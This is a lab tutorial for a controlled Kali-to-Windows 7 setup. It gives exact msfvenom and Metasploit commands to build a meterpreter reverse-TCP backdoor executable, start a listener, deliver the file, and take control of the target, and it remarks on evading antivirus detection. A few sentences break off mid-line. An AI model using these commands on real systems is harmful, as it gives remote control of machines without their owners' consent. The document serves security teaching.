Exercise: Backdoor Implantation and Meterpreter Session on Windows 7 through Kali
Linux using msfvenom

Before starting this exercise, make sure you have completed the previous exercise “Setting
up a Penetration Testing Lab with Kali Linux and Windows 7 in VirtualBox” to have a
Windows 7 machine ready for exploitation.

Step 1: Update and Upgrade your Kali Linux machine

● Open a terminal window in Kali Linux
● Run the command sudo apt-get update to update the package lists
● Run the command sudo apt-get upgrade to upgrade the installed packages

Step 2: Generate a payload using msfvenom

● Open a terminal window in Kali Linux
● Run the command msfvenom -p windows/meterpreter/reverse_tcp
LHOST=IP_of_Kali_machine LPORT=4444 -f exe > payload.exe to generate a
meterpreter reverse TCP payload. Replace IP_of_Kali_machine with the IP address
of your Kali Linux machine.

Step 3: Start the Metasploit Framework

● Run the command msfconsole to start the Metasploit Framework

Step 4: Configure the listener

● Type use multi/handler to start the listener module
● Type set payload windows/meterpreter/reverse_tcp to set the payload
● Type set LHOST IP_of_Kali_machine to set the IP address of the Kali Linux machine
as the listener IP
● Type set LPORT 4444 to set the listener port
● Type exploit to start the listener

Step 5: Deliver the payload

● Transfer the payload.exe file to the Windows 7 machine using a USB drive or any
other method
● Run the payload on the Windows 7 machine

Step 6: Verify the Meterpreter session

● Go back to the terminal window with the Metasploit Framework listener
● You should see a message indicating that the meterpreter session has been
● Type sessions -i to interact with the session

Step 7: Clean up

● Type sessions -K to terminate the session
● Remember to revert any changes made to the Windows 7 machine and reset the
machine to its original state before starting the exercise.

● This exercise is for educational and ethical hacking practice in a controlled lab
environment. Attempting to exploit vulnerabilities without permission is illegal and can
cause serious harm.
● Use the most updated version of msfvenom as the payloads may have been
detected by security software by the time you are attempting this exercise.
● Make sure that the Windows 7 machine has the necessary permissions to run the
● Keep in mind that the payload you generated is just an example, you can use other
payloads as well, such as reverse_https, reverse_http, reverse_tcp_dns, etc.
